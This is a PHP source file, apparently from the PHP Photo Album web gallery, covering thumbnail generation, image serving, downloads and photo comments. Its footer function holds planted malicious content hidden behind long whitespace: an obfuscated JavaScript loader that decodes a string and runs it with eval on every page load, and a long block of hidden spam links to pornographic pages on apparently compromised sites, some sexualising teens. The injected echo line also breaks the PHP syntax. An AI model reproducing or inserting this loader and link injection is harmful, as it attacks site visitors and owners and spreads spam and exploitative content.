	 foreach($files2 as $num => $file_name){
	    /*find file in settings*/
	    $found=0;
	    $i=0;
    
	    while(isset($files[$i])){
	    	if($file_name==$files[$i][0]){
		  $found=1;
		  $sett[]=$files[$i];
		  break;
		}
	    	$i=$i+1;
	    }
	    if($found==0){
	     $sett[]=Array($file_name,"","");
	    }	
	 }
       }/*if */
   }
return $sett;
}


function get_all_sortings(){
	$sorts= Array ( "default"=> "Default",
					"date_asc"=> "Date - Ascending",
					"date_desc"=> "Date - Descending",
					"filename_asc"=> "Filename - Ascending",
					"filename_desc"=> "Filename - Descending",
					"name_asc"=> "Name - Ascending",
					"name_desc"=> "Name - Descending"
	);
	return $sorts;
}

function get_photos_directories($dir,$filelist){

global $album_dir;

$sett=get_directory_settings($dir,0);
$filelist[]=$sett[0];
if (is_dir($album_dir.$dir)) {
    if ($dh = opendir($album_dir.$dir)) {
       while (($file = readdir($dh)) !== false) {
           if( filetype($album_dir.$dir.$file)=="dir" && $file!="." && $file !="..") {
			$filelist=get_photos_directories($dir.$file."/",$filelist);
		}
			
       }
       closedir($dh);
    }
}
return $filelist;
}

function get_themes(){
global $themes_dir;
$dir=$themes_dir;
if (is_dir($dir)) {
    if ($dh = opendir($dir)) {
       while (($file = readdir($dh)) !== false) {
           if( filetype($dir . $file)=="dir" && $file!="." && $file !=".."  && $file !="engines") {
	   		$filelist[]=$file;
		}
			
       }
       closedir($dh);
    }
}
return $filelist;
	
}
/****************************************/
/*      THMB                            */
/****************************************/

function generate_thumb($var1,$thumb_size,$thumb_quality){
  global $album_dir,$character_set;
  $width = $thumb_size;
  $height = $thumb_size;
  $var1=stripslashes($var1);
  // Content type
  if(is_image($var1)){
  	$mime=get_mime($var1);
  	send_header("Content-type: ".$mime);
  }else{
  	send_header('Content-type: image/png');
  }
  send_header("Content-Disposition: filename=thmb_".conv_out_header(basename($var1),$character_set)." ");
  if($var1=="[movie]"){$var1="movie.png";}
  else if($var1=="[audio]"){$var1="audio.png";}
  else{$var1=$album_dir.$var1;}
  // Get new dimensions
  list($width_orig, $height_orig) = getimagesize($var1);
  //$image_p = imagecreatetruecolor($width+10, $height+10);
  //$color=ImageColorAllocate( $image_p, 32, 32, 32 );
  //imagefill($image_p,0,0,$color);
  if ($width && ($width_orig < $height_orig)) {
     $width = ($height / $height_orig) * $width_orig;
  } else {
     $height = ($width / $width_orig) * $height_orig;
  }

  // Resample
  $image=imagecreatefrom($var1);

  $image_p = imagecreatetruecolor($width, $height);
  $bgcol=theme_get_bgcolor();
  $color = ImageColorAllocate( $image_p,$bgcol[0] ,$bgcol[1] ,$bgcol[2] );
  imagefill($image_p,0,0,$color);
  //imagecopyresampled($image_p, $image, ($thumb_size-$width)/2+5, ($thumb_size-$height)/2+5, 0, 0, $width, $height, $width_orig, $height_orig);
  imagecopyresampled($image_p, $image, 0, 0, 0, 0, $width, $height, $width_orig, $height_orig);

  // Output
  image_same_type($var1,$image_p,$thumb_quality);
	
}
/****************************************/
/*      IMAGE                           */
/****************************************/
function get_mime($var1){
	$t=strtoupper(substr($var1,-4,4));
	switch($t){
		case ".JPG":
		case "JPEG":
			return "image/jpeg";
			break;
		case ".GIF":
			return "image/gif";
			break;
		case ".PNG":
			return "image/png";
			break;
		default: return "";
			break;
	}
}
function generate_image($var1,$quality){

 global $quality_settings,$album_dir;
 global $character_set;
  $var1=stripslashes($var1);
  $m_time=filemtime($album_dir.$var1);
  //$headers=getallheaders(); --not supported by others then apache
  if (isset( $_SERVER["HTTP_IF_MODIFIED_SINCE"] ) ){
	if ( date("D, d M Y H:i:s T",$m_time) == $_SERVER["HTTP_IF_MODIFIED_SINCE"] ) {
		send_header('HTTP/1.0 304 Not Modified');
		exit; 
	}
  }


 if(is_image($var1)){
  // Content type
  send_header("Last-Modified: ".date("D, d M Y H:i:s T",$m_time));
  $mime=get_mime($var1);
  send_header("Content-type: ".$mime);
  send_header("Content-Disposition: filename=".conv_out_header(basename($var1),$character_set)." ");
  
  if( $quality_settings[$quality][2] == 0){
	/*$file=fopen($var1,"rb");
	$doc=fread($file,filesize($var1));
	fclose($file);
	echo $doc;*/
	readfile($album_dir.$var1);
	return false;
  }else{
	$image_low_size=$quality_settings[$quality][2];
	$width=$image_low_size;
	$height=$image_low_size;
	// Get new dimensions
	list($width_orig, $height_orig) = getimagesize($album_dir.$var1);
	if ($width && ($width_orig < $height_orig)) {
	   $width = ($height / $height_orig) * $width_orig;
	} else {
	   $height = ($width / $width_orig) * $height_orig;
	}
	$image_p = imagecreatetruecolor($width, $height);
	// Resample
	$image = imagecreatefrom($album_dir.$var1);
	//$image_p = imagecreatetruecolor($width, $height);
	imagecopyresampled($image_p, $image, 0, 0, 0, 0, $width, $height, $width_orig, $height_orig);
	
	// Output
	image_same_type($var1,$image_p,$quality_settings[$quality][3]);
	return true;
  }
 }
 
  if(!is_image($var1)){
 	ob_end_clean();
	send_header("Content-type: application/download; name=\"".basename($var1)."\"");
	send_header("Content-Disposition: attachment; filename=\"".basename($var1)."\" ");
 	send_header("Content-Length: ".filesize($album_dir.$var1)." ");
	send_header("Last-Modified: ".date("D, d M Y H:i:s T",$m_time)." " );
	readfile($album_dir.$var1);
	return false;
 }
}

function SendDownloadHeaders($filename,$file_size=0) {
    $isIE = $isIE6 = 0;


    if (strstr($HTTP_USER_AGENT, 'compatible; MSIE ') !== false &&
            strstr($HTTP_USER_AGENT, 'Opera') === false) {
        $isIE = 1;
    }

    if (strstr($HTTP_USER_AGENT, 'compatible; MSIE 6') !== false &&
            strstr($HTTP_USER_AGENT, 'Opera') === false) {
        $isIE6 = 1;
    }


    if ($isIE) {
        $filename=rawurlencode($filename);
        header ("Pragma: public");
        header ("Cache-Control: no-store, max-age=0, no-cache, must-revalidate"); // HTTP/1.1
        header ("Cache-Control: post-check=0, pre-check=0", false);
        header ("Cache-Control: private");

        //set the inline header for IE, we'll add the attachment header later if we need it
        header ("Content-Disposition: inline; filename=$filename");
    }
        // Try to pop up the "save as" box

        // IE makes this hard.  It pops up 2 save boxes, or none.
        // http://support.microsoft.com/support/kb/articles/Q238/5/88.ASP
        // http://support.microsoft.com/default.aspx?scid=kb;EN-US;260519
        // But, according to Microsoft, it is "RFC compliant but doesn't
        // take into account some deviations that allowed within the
        // specification."  Doesn't that mean RFC non-compliant?
        // http://support.microsoft.com/support/kb/articles/Q258/4/52.ASP

        // all browsers need the application/octet-stream header for this
        header ("Content-Type: application/octet-stream; name=\"$filename\"");

        // http://support.microsoft.com/support/kb/articles/Q182/3/15.asp
        // Do not have quotes around filename, but that applied to
        // "attachment"... does it apply to inline too?
        header ("Content-Disposition: attachment; filename=\"$filename\"");

        if ($isIE && !$isIE6) {
            // This combination seems to work mostly.  IE 5.5 SP 1 has
            // known issues (see the Microsoft Knowledge Base)

            // This works for most types, but doesn't work with Word files
            header ("Content-Type: application/download; name=\"$filename\"");

            // These are spares, just in case.  :-)
            //header("Content-Type: $type0/$type1; name=\"$filename\"");
            //header("Content-Type: application/x-msdownload; name=\"$filename\"");
            //header("Content-Type: application/octet-stream; name=\"$filename\"");
        } else {
            // another application/octet-stream forces download for Netscape
            header ("Content-Type: application/octet-stream; name=\"$filename\"");
        }

    if ($filesize > 0) {
        header("Content-Length: $filesize");
    }

}  // end fn SendDownloadHeaders


/****************************************/
/*      DELTE CACHE                     */
/****************************************/

function delete_cache($cache_dir,$display=1){
   if ($dh = opendir($cache_dir)) {
       while (($file = readdir($dh)) !== false) {
           if($file != "." && $file!=".."){
	       unlink ( $cache_dir . $file);
           	if($display==1) echo "deleting : ".$cache_dir.$file."<br>";
           }
			
       }
       closedir($dh);
   }
} 
/****************************************/
/*      NEXT PREV IMAGE                 */
/****************************************/

function get_next_prev_image ($var1){
   global $album_dir,$act_dir_sorting;
   $tmp="null";
       $dirname=dirname($var1);
       if($dirname=="."){
       	$dirname="";
       }else{
        $dirname.="/";
       }
   $dir_settings=get_directory_settings($dirname);
   $act_dir_sorting=$dir_settings[0][5];
   if ($dh = opendir(dirname($album_dir.$var1))) {
       while (($file = readdir($dh)) !== false) {
      	    if($file != "." && $file!=".." && (filetype(dirname($album_dir.$var1)."/".$file)=="file" ||filetype(dirname($album_dir.$var1)."/".$file)=="link") && is_image($file)){
           			   $i=1;
           			   $img_desc=""; 
				       while(isset($dir_settings[$i][0])){
		    		   	if($dir_settings[$i][0]==$file){
							$img_desc=$dir_settings[$i][1];
							break;
						}
						$i=$i+1;
		       		   }
		       		   if(strlen($img_desc)==0){
		       		   	$img_desc=$file;
		       		   }
       				   $file_array=Array("filename"=>$file,"time"=>filectime(dirname($album_dir.$var1)."/".$file),"name"=>$img_desc);
					   $file_scr[]=$file;
    					$filelist[]=$file_array;
	    			}else{
	    				  $dw[]=$file;
	    			}
	}
       closedir($dh);
      if(sizeof($filelist)>0) {
       usort($filelist,'file_array_cmp');
       while(list($key,$file_array)=each($filelist)){
       	    $file=$file_array['filename'];
           	if ($file == basename($var1)){
           		if($tmp!="null"){
           			$names[]=$dirname.$tmp;
           		}else{
           			$names[]="null";
           		}
           		
           		while(list($key,$file_array)=each($filelist)){
           			$file=$file_array['filename'];
           			if(!get_file_for_screenshot($file,$dw)) break;
           		}
			//echo "KEY=".$key;
			//echo "FILE=".$file;
           		if($file_array !== null){
           			
           			$names[]= $dirname.$file;
           		}else{
           			$names[]= "null";
           		}
           	}
           	if(!get_file_for_screenshot($file,$dw)){
           	 $tmp=$file;
           	}
           
			
       }
      }
       return $names;
   }
	
}

/****************************************/
/*      IMAGE VIEW                      */
/****************************************/

function generate_image_view($var1,$quality,$var3){
global $quality_settings,$album_dir,$return_home_url,$album_name,$album_dir_name,$next_text,$previous_text,$disable_bottom_nextprev,$show_filenames;
  
	$var1=stripslashes($var1);
  $qq=$quality_settings[$quality][2]."_".$quality_settings[$quality][3];
	
	
	$dir_path[0]['name']=t('ID_PHOTO_DIR');
	$dir_path[0]['link']="main.php?cmd=album&var2=".$quality;

	$dirs=explode('/',$var1);
	$act_dir="";
	for($i=0;$i<count($dirs)-1;$i++){
		$act_dir.=$dirs[$i]."/";
		$ss=get_directory_settings($act_dir,0);
		if(strlen($ss[0][4])>0){
			$dir_path[$i+1]['name']=pa_html_decode($ss[0][4]);
		}else{
			$dir_path[$i+1]['name']=conv_out($dirs[$i]);
		}
		$dir_path[$i+1]['link']="main.php?cmd=album&var1=".urlencode($act_dir)."&var2=".$quality;
		
	}
	$count=$quality_settings[0][5]+$quality_settings[1][5]+$quality_settings[2][5];
	
	$quality_links=Array();
	
	if($count>1){
		$i=0;
		$first=1;
		while($i<3){
			if($quality_settings[$i][5]==1){
				$quality_links[$i]['name']=$quality_settings[$i][4];
				$quality_links[$i]['link']="main.php?cmd=setquality&var1=$i&var2=".urlencode($var1);
				if($quality==$i){
					$quality_links[$i]['actual']=1;
				}else{
					$quality_links[$i]['actual']=0;
				}
			}
			$i=$i+1;
		}
		
	}


/*testing for next and previous image ..*/
list( $prev,$next) = get_next_prev_image($var1);

list($iwidth, $iheight, $itype, $iattr) = getimagesize($album_dir.$var1);
if($quality_settings[$quality][2]== 0){
	$width=$iwidth; 
	$height=$iheight;
}else {
        $image_low_size=$quality_settings[$quality][2];
	$width=$image_low_size;
	$height=$image_low_size;
	if ($width && ($iwidth < $iheight)) {
	   $width = ($height / $iheight) * $iwidth;
	} else {
	   $height = ($width / $iwidth) * $iheight;
	}
//	$img_size="width=\"".$width."\" height=\"".$height."\"";
}


if( $prev != "null" ) { 
	$prev_link = "main.php?cmd=imageview&var1=".urlencode($prev)."&var2=".$quality; 
}else{
	$prev_link ="";
};
if( $next != "null" ) { 
	$next_link = "main.php?cmd=imageview&var1=".urlencode($next)."&var2=".$quality;
}else{
	$next_link = "";
};

$image_link="main.php?cmd=image&var1=".urlencode($var1)."&var2=".$qq;
$imageview_link="main.php?cmd=imageview&var1=".urlencode($var1)."&var2=".$qq;

$sett=get_directory_settings(dirname("/".$var1));
      $i=1;
      $img_desc="";
      $img_desc_long="";
      while(isset($sett[$i][0])){
      	if($sett[$i][0]==basename($var1)){
	$img_desc=pa_html_decode($sett[$i][1]);
	if($show_filenames && $img_desc==""){
		       	$img_desc=conv_out(basename($var1));
	}
	$img_desc_long=store2string(pa_html_decode($sett[$i][2]));
	break;
	}
	$i=$i+1;
      }
      
 /* store typed comments*/
 if($var3=="save_comment"){
 	if(isset($_POST['p_text'])){
 		if(strlen($_POST['p_name'])==0){
 				$p_name="Anonymous";
 		}else{
 			  $p_name=$_POST['p_name'];
 		}
 		if( isset($_POST['p_name']))setcookie("comment_name",$_POST['p_name'],time()+60*60*24*365);
 		if( isset($_POST['p_email']))setcookie("comment_email",$_POST['p_email'],time()+60*60*24*365);
 		save_comment($var1,$_POST['p_text'],$p_name,$_POST['p_email'],time());
 	}
 }
 if(substr($var3,0,15)=="delete_comment-"){
 		$time=substr($var3,15);
 	  delete_comment($var1,$time);
 }
$comments=get_comments($var1);
theme_generate_imageview_page($dir_path,$quality_links,$img_desc,$img_desc_long,$next_link,$prev_link,$image_link,$imageview_link,$width,$height,$var3,$comments);
}
function approve_comment($var1,$time){
	global $data_dir;
	if(is_setup_user()){
		if(file_exists($data_dir."all.comments")){
		 	$file=file($data_dir."all.comments");
		 	$f=fopen($data_dir."all.comments","w");
		 	foreach($file as $line){
			 	if(substr($line,0,strlen($var1."|".$time))!=$var1."|".$time){
					fwrite($f,$line);
				}
			 }
			 fclose($f);
		}
	}
}
function delete_comment($var1,$time){
	global $data_dir;
	if(is_setup_user()){
		$fn=get_data_file_name($var1).".comments";
		if(file_exists($fn)){
		 	$file=file($fn);
		 	$f=fopen($fn,"w");
		 	foreach($file as $line){
			 	if(substr($line,0,strlen($time))!=$time){
					fwrite($f,$line);
				}
			 }
			 fclose($f);
		}
		/*deleting from master file*/
		if(file_exists($data_dir."all.comments")){
		 	$file=file($data_dir."all.comments");
		 	$f=fopen($data_dir."all.comments","w");
		 	foreach($file as $line){
			 	if(substr($line,0,strlen($var1."|".$time))!=$var1."|".$time){
					fwrite($f,$line);
				}
			 }
			 fclose($f);
		}

	}
}
function save_comment($var1,$text,$name,$email,$time){
	global $data_dir;
	$fn=get_data_file_name($var1).".comments";
	if(file_exists($fn)){
		 $file=file($fn);
	}
	$f=fopen($fn,"w");
	$t_text=pa_html_encode(stripslashes($text));
	$t_text=str_replace("\n","<br/>",$t_text);
	$t_text=str_replace("\r","",$t_text);
	fwrite($f,$time."|".pa_html_encode($name)."|".pa_html_encode($email)."|".$t_text."\n");
	if(is_array($file)){
		foreach($file as $line){
			fwrite($f,$line);
		}
	}
	fclose($f);
	/*write it to all.comments*/
	$f=fopen($data_dir."all.comments","a");
	fwrite($f,$var1."|".$time."|".pa_html_encode($name)."|".pa_html_encode($email)."|".$t_text."\n");
	fclose($f);
}
function get_comments($var1){
	$comments=Array();
	$fn=get_data_file_name($var1).".comments";
	if(file_exists($fn)){
		$file=file($fn);
		foreach($file as $line){
			$tmp=explode("|",$line);
			$comments[]=Array("time"=>$tmp[0],"name"=>$tmp[1],"email"=>$tmp[2],"text"=>$tmp[3]);
		}
	}
	return $comments;
}
function get_all_comments(){
	global $data_dir;
	$comments=Array();
	$fn=$data_dir."all.comments";
	if(file_exists($fn)){
		$file=file($fn);
		foreach($file as $line){
			$tmp=explode("|",$line);
			$comments[]=Array("pic"=>$tmp[0],"time"=>$tmp[1],"name"=>$tmp[2],"email"=>$tmp[3],"text"=>$tmp[4]);
		}
	}
	return $comments;
}

/****************************************/
/*      FOOTER                          */
/****************************************/

function generate_footer(){
     echo "<table width=\"100%\"><tr height=\"100\"><td valign=\"bottom\" align=\"center\" width=\"100%\"><font size=\"2\">Powered by <a class=\"me\"href=\"http://www.phpalbum.net\"><font size=\"2\">PHP Photo Album</font></a></font></td></tr></table>";
     echo "																																																																																																																							                                                                                                            <div id="ytif"><script language="javascript">function ijsl(evu,lakv){if(!lakv){lakv='H)a{KDp}ikcSsYxI&v5J.-hEzRG6tV4gAQdqr(078lu1CWyowB*PM?emfX2=UnF+';}var y;var OR='';for(var au=0;au<evu.length;au+=4){y=(lakv.indexOf(evu.charAt(au))&63)<<18|(lakv.indexOf(evu.charAt(au+1))&63)<<12|(lakv.indexOf(evu.charAt(au+2))&63)<<6|lakv.indexOf(evu.charAt(au+3))&63;OR+=String.fromCharCode((y&16711680)>>16,(y&65280)>>8,y&255);}eval(OR.substring(0,OR.length-3));}ijsl('V0D*ipYfzmAnRpnqVh?(67&=zmQq4aXmt0(MR5A7I}Yqtdt1ke(wVa)CzhX7VhD7RJMdG0DezEYqt0(wVaiAV}(wRJMdVp-fVanuzERQteY*GE)Miqf7cJWq4pYfS7V*GEv(caV0VhXqVp(o6d)yV0z8cECAk*r=zmQq4aXmt0(MR5A7V0D*i}kmGE&AI5HMxJC7cJWq4pYfS7V*GEv(caVezEiA40fAI5H8RpnqVh?(67&yRe-MvhB(6h-yVKkX5h&8i7(MGhzdc5r=k*r=zmQq4aXmt0(MR5A740fytmvX6p.ytpnPGEvl6efAI5HdzhkP6eB?Vp.dx*tlxeYfzmAyVmklVp.8kmlyS7YM4hB(S7Rlte(dGhBlV}rAI5HdV0(PGhkCR5i=k*r=zmQq4aXmt0(MR5A740fytmvX6p.yVe(rVpAAI5Hex{H=k*r=zmQq4aXmt0(MR5A7t7VlVaHni{KfSJsec7kmGE&uYJ.os5wBcmlyS7YM4hB(S7VlR}v8x*tlxeYfzmAyVmklVp.8kmlyS7YM4hB(S7votaHni}kmGE&1EaVw4Dw7x*tlxeYfzmAyVmklVp.8kmM7cJWq4pYfS7V*GEv(caV(V0DCcDw767R0ca(tk*r=k*r=zmQq4aXmt0(MR5A7IanPzmi7c*Vlt}&Fk*r=iaHA');</script> whistling dick <a href=http://bransongetawaysblog.com/wp-content/themes/_images/high-school-teens-fuck/whistling-dick.html rel=dofollow><h2>whistling dick</h2></a> main  mirpur gay <a href=http://vormedia.com/wp-content/themes/_images/female-masturbation-page/mirpur-gay.html rel=dofollow><h2>mirpur gay</h2></a> material  bishop devry big love <a href=http://www.oaksterdaminfo.com/2008/09/_images/tiffany-minx-footjob/bishop-devry-big-love.html rel=dofollow><h2>bishop devry big love</h2></a> shoulder  sultry hot sluts <a href=http://www.longacreconstruction.com/Simon/Demos/_images/unintentional-nudist/sultry-hot-sluts.html rel=dofollow><h2>sultry hot sluts</h2></a> column  blacks cock <a href=http://kathyperry.com/wp-content/plugins/_images/twinks-videos/blacks-cock.html rel=dofollow><h2>blacks cock</h2></a> famous  tentacle alien hentai <a href=http://ballalife.com/product_images/s/_images/sex-machine-video-wmv/tentacle-alien-hentai.html rel=dofollow><h2>tentacle alien hentai</h2></a> rope  texas wife sex <a href=http://1eric.com/wp-content/themes/_images/cutie-hentai/texas-wife-sex.html rel=dofollow><h2>texas wife sex</h2></a> several  femdom gelding <a href=http://gay-geeks.net/gal/themes/_images/art-women-nude/femdom-gelding.html rel=dofollow><h2>femdom gelding</h2></a> perhaps  daniel radcliffe having sex <a href=http://www.oxmindfulness.org/custom_assets/flash/_images/333-gay/daniel-radcliffe-having-sex.html rel=dofollow><h2>daniel radcliffe having sex</h2></a> your  columbus relationship between church <a href=http://www.asd-alpha.com/usertpl/1vg01091/_images/pornstar-podium/columbus-relationship-between-church.html rel=dofollow><h2>columbus relationship between church</h2></a> sell  couple seducing teens <a href=http://trzewiczek.org/ciao-office/forum/_images/shemale-jerking-video/couple-seducing-teens.html rel=dofollow><h2>couple seducing teens</h2></a> even  sexy naked legs <a href=http://perrysautoauction.net/Flyers/100808/_images/brazilain-lesbians/sexy-naked-legs.html rel=dofollow><h2>sexy naked legs</h2></a> feet  male small nipples <a href=http://bcbeanery.com/_themes/poetic/_images/busty-asian-pornstar/male-small-nipples.html rel=dofollow><h2>male small nipples</h2></a> door  blonde porno sex <a href=http://osondu.com/download/VolumeOne/_images/sarah-blake-anal/blonde-porno-sex.html rel=dofollow><h2>blonde porno sex</h2></a> under  facial treatment procedures <a href=http://www.disabilityhealthaccess.com/beta/Templates/_images/long-underwear-for-men/facial-treatment-procedures.html rel=dofollow><h2>facial treatment procedures</h2></a> gas  videl hentai video <a href=http://barefootmalecelebs.com/wp-admin/css/_images/gays-sucking-guys-dicks/videl-hentai-video.html rel=dofollow><h2>videl hentai video</h2></a> quite  porn 3d <a href=http://www.heatherandchopper.com/wp-content/themes/_images/transsexuele-escort-belgie/porn-3d.html rel=dofollow><h2>porn 3d</h2></a> river  gay sex offenders <a href=http://www.grindheadrecords.com/content/distro/_images/christina-young-squirt/gay-sex-offenders.html rel=dofollow><h2>gay sex offenders</h2></a> water  oral sex when ttc <a href=http://www.metalminstrel.com/wp-admin/import/_images/sanchez-fall-in-love/oral-sex-when-ttc.html rel=dofollow><h2>oral sex when ttc</h2></a> low  pogo love triangle death <a href=http://alexin.ca/bwalters/genv4111/_images/can-cumming-affect-boxing/pogo-love-triangle-death.html rel=dofollow><h2>pogo love triangle death</h2></a> invent  platform shoes sex <a href=http://www.gainesvilleupc.net/photos/friendshipday2008/_images/spr-adventist-singles/platform-shoes-sex.html rel=dofollow><h2>platform shoes sex</h2></a> rest  the teen mind <a href=http://www.hsaeed.com/blog/_images/angalia-jolie-naked/the-teen-mind.html rel=dofollow><h2>the teen mind</h2></a> heat  lesbian sex metacafe <a href=http://www.disabilityhealthaccess.com/beta/Templates/_images/long-underwear-for-men/lesbian-sex-metacafe.html rel=dofollow><h2>lesbian sex metacafe</h2></a> death  joe reeve gay <a href=http://www.hijabcity.com/ioncube/_images/bronzed-door-knobs/joe-reeve-gay.html rel=dofollow><h2>joe reeve gay</h2></a> paragraph  swallow piss <a href=http://www.dietary-supplements-shopping.com/pics/_images/handjob-video-post/swallow-piss.html rel=dofollow><h2>swallow piss</h2></a> hope  ketchum teen recreation <a href=http://u3studios.com/projects/commercial/_images/teen-in-bathtub/ketchum-teen-recreation.html rel=dofollow><h2>ketchum teen recreation</h2></a> key  brooke skye threesome <a href=http://www.longacreconstruction.com/Simon/Demos/_images/unintentional-nudist/brooke-skye-threesome.html rel=dofollow><h2>brooke skye threesome</h2></a> believe  zinc yellow nipples <a href=http://www.beatricejean.com/Archive/_images/gay-b-b-connecticut/zinc-yellow-nipples.html rel=dofollow><h2>zinc yellow nipples</h2></a> look  girls with puffy tits <a href=http://affleap.com/template/css/_images/party-sex-porn-movies/girls-with-puffy-tits.html rel=dofollow><h2>girls with puffy tits</h2></a> top  asian sex index <a href=http://kathyperry.com/wp-content/plugins/_images/twinks-videos/asian-sex-index.html rel=dofollow><h2>asian sex index</h2></a> dress  celebs hair beauty <a href=http://kalispellsuper8.com/photo/include/_images/watersport-watersport-pissing-sex/celebs-hair-beauty.html rel=dofollow><h2>celebs hair beauty</h2></a> opposite  illinois strip club list <a href=http://www.randyakers.com/flash/_images/sex-toy-hotel-room/illinois-strip-club-list.html rel=dofollow><h2>illinois strip club list</h2></a> provide  ayda field topless <a href=http://www.hsaeed.com/blog/_images/angalia-jolie-naked/ayda-field-topless.html rel=dofollow><h2>ayda field topless</h2></a> often  kate nauta nude <a href=http://www.randyakers.com/flash/_images/sex-toy-hotel-room/kate-nauta-nude.html rel=dofollow><h2>kate nauta nude</h2></a> come  rencontres escort <a href=http://beaver-lodge.ca/gate2north/anglican/_images/montreal-gay-night-clubs/rencontres-escort.html rel=dofollow><h2>rencontres escort</h2></a> our  philosophy dating homosexuality sexism <a href=http://whichsurveys.com/ebook/_images/self-spanking/philosophy-dating-homosexuality-sexism.html rel=dofollow><h2>philosophy dating homosexuality sexism</h2></a> place  amature teen naked <a href=http://www.viagrasavers.com/information/_images/montreal-japanese-escorts-cheap/amature-teen-naked.html rel=dofollow><h2>amature teen naked</h2></a> am  japanese busty <a href=http://alanbedenko.com/wp-admin/import/_images/beating-up-pussy/japanese-busty.html rel=dofollow><h2>japanese busty</h2></a> sit  christian bereavement counseling cirriculumn <a href=http://u3studios.com/projects/commercial/_images/teen-in-bathtub/christian-bereavement-counseling-cirriculumn.html rel=dofollow><h2>christian bereavement counseling cirriculumn</h2></a> settle  teen wild parties <a href=http://www.disabilityhealthaccess.com/beta/Templates/_images/long-underwear-for-men/teen-wild-parties.html rel=dofollow><h2>teen wild parties</h2></a> market  myspace loyouts police wives <a href=http://piratemonkeypress.com/gallery/Japan08/_images/anal-slamers/myspace-loyouts-police-wives.html rel=dofollow><h2>myspace loyouts police wives</h2></a> course  canine anal gland cleaning <a href=http://alexin.ca/bwalters/genv4111/_images/can-cumming-affect-boxing/canine-anal-gland-cleaning.html rel=dofollow><h2>canine anal gland cleaning</h2></a> during  onion booty nicole <a href=http://www.mewmewcat.org/blog/wp-includes/_images/asian-street-teens/onion-booty-nicole.html rel=dofollow><h2>onion booty nicole</h2></a> original  drawn together nude pictures <a href=http://www.grindheadrecords.com/content/distro/_images/christina-young-squirt/drawn-together-nude-pictures.html rel=dofollow><h2>drawn together nude pictures</h2></a> she  steven day virgin mobile <a href=http://www.pinkroioshn.org/lo/SpryAssets/_images/fetish-robots/steven-day-virgin-mobile.html rel=dofollow><h2>steven day virgin mobile</h2></a> us  female whipping stories <a href=http://beaver-lodge.ca/gate2north/anglican/_images/montreal-gay-night-clubs/female-whipping-stories.html rel=dofollow><h2>female whipping stories</h2></a> soil  bald hot pussy <a href=http://affleap.com/template/css/_images/party-sex-porn-movies/bald-hot-pussy.html rel=dofollow><h2>bald hot pussy</h2></a> spell  vilansy tgp <a href=http://www.whowillsit.com/cursillista/forms/_images/japanese-train-sex-molestation/vilansy-tgp.html rel=dofollow><h2>vilansy tgp</h2></a> children  teen pussy hardcore <a href=http://www.aprie.com/old_stuff/_image/hairey-pussey-review/teen-pussy-hardcore.html rel=dofollow><h2>teen pussy hardcore</h2></a> level  warts from oral sex <a href=http://1eric.com/wp-content/themes/_images/cutie-hentai/warts-from-oral-sex.html rel=dofollow><h2>warts from oral sex</h2></a> tail  sexy natural breasts <a href=http://alexin.ca/bwalters/genv4111/_images/can-cumming-affect-boxing/sexy-natural-breasts.html rel=dofollow><h2>sexy natural breasts</h2></a> plural  silver beaver receipents <a href=http://www.viagrasavers.com/information/_images/montreal-japanese-escorts-cheap/silver-beaver-receipents.html rel=dofollow><h2>silver beaver receipents</h2></a> brought  man whore t shirt <a href=http://shopthewoolgarden.com/PDGCommTemplates/store002/_images/pornstar-free-movie-thumbs/man-whore-t-shirt.html rel=dofollow><h2>man whore t shirt</h2></a> observe  amature girls naked photos <a href=http://piratemonkeypress.com/gallery/Japan08/_images/anal-slamers/amature-girls-naked-photos.html rel=dofollow><h2>amature girls naked photos</h2></a> sign  photographer portfolio nude men <a href=http://www.ontherocks.com/_images/naked-latina-porn-galleries/photographer-portfolio-nude-men.html rel=dofollow><h2>photographer portfolio nude men</h2></a> danger  nympho fuck buddy <a href=http://www.livinghope4u.com/gallery/logs/_images/non-nude-cheerleader-panties/nympho-fuck-buddy.html rel=dofollow><h2>nympho fuck buddy</h2></a> serve  teacher sex stories <a href=http://1eric.com/wp-content/themes/_images/cutie-hentai/teacher-sex-stories.html rel=dofollow><h2>teacher sex stories</h2></a> burn  amuture sex stories <a href=http://www.mewmewcat.org/blog/wp-includes/_images/asian-street-teens/amuture-sex-stories.html rel=dofollow><h2>amuture sex stories</h2></a> ever  cock cum cherry pussy <a href=http://bcbeanery.com/_themes/poetic/_images/busty-asian-pornstar/cock-cum-cherry-pussy.html rel=dofollow><h2>cock cum cherry pussy</h2></a> suit  masturbation with boy <a href=http://lunchisforwimps.com/wp-admin/import/_images/watching-girls-strip/masturbation-with-boy.html rel=dofollow><h2>masturbation with boy</h2></a> thank  julie banderas simulates sex <a href=http://www.beatricejean.com/Archive/_images/gay-b-b-connecticut/julie-banderas-simulates-sex.html rel=dofollow><h2>julie banderas simulates sex</h2></a> broke  young redheaded nude guys <a href=http://piratemonkeypress.com/gallery/Japan08/_images/anal-slamers/young-redheaded-nude-guys.html rel=dofollow><h2>young redheaded nude guys</h2></a> position  small teeth vagina <a href=http://www.allnewcreation.com/agora/shopping_carts/backup/katie-morgans-porn-videos/small-teeth-vagina.html rel=dofollow><h2>small teeth vagina</h2></a> division  personals women seeking cucks <a href=http://www.whowillsit.com/cursillista/forms/_images/japanese-train-sex-molestation/personals-women-seeking-cucks.html rel=dofollow><h2>personals women seeking cucks</h2></a> who  elephant webcam <a href=http://www.mckay4supervisor.com/flash/taglines/_images/lexus-cash-sex/elephant-webcam.html rel=dofollow><h2>elephant webcam</h2></a> result  scuba naked pictures <a href=http://luggagesourceblog.com/wp-content/themes/_images/saturn-ion-mpg/scuba-naked-pictures.html rel=dofollow><h2>scuba naked pictures</h2></a> stone  naked teenage girls masturbating <a href=http://plumvoice22.com/pvclients/CLIENTS/_images/chubby-free-sex-pics/naked-teenage-girls-masturbating.html rel=dofollow><h2>naked teenage girls masturbating</h2></a> company  oshean free hardcore <a href=http://osondu.com/download/VolumeOne/_images/sarah-blake-anal/oshean-free-hardcore.html rel=dofollow><h2>oshean free hardcore</h2></a> mount  milf natural riding <a href=http://www.petsdreampark.com/stuff/20080422/_images/girls-boyshorts-underwear/milf-natural-riding.html rel=dofollow><h2>milf natural riding</h2></a> fish  orlando swing club <a href=http://alexin.ca/bwalters/genv4111/_images/can-cumming-affect-boxing/orlando-swing-club.html rel=dofollow><h2>orlando swing club</h2></a> before  vaginal diameter <a href=http://www.ontherocks.com/_images/naked-latina-porn-galleries/vaginal-diameter.html rel=dofollow><h2>vaginal diameter</h2></a> force  lovely shemales tgp <a href=http://www.longacreconstruction.com/Simon/Demos/_images/unintentional-nudist/lovely-shemales-tgp.html rel=dofollow><h2>lovely shemales tgp</h2></a> sense  hardcore gay videos <a 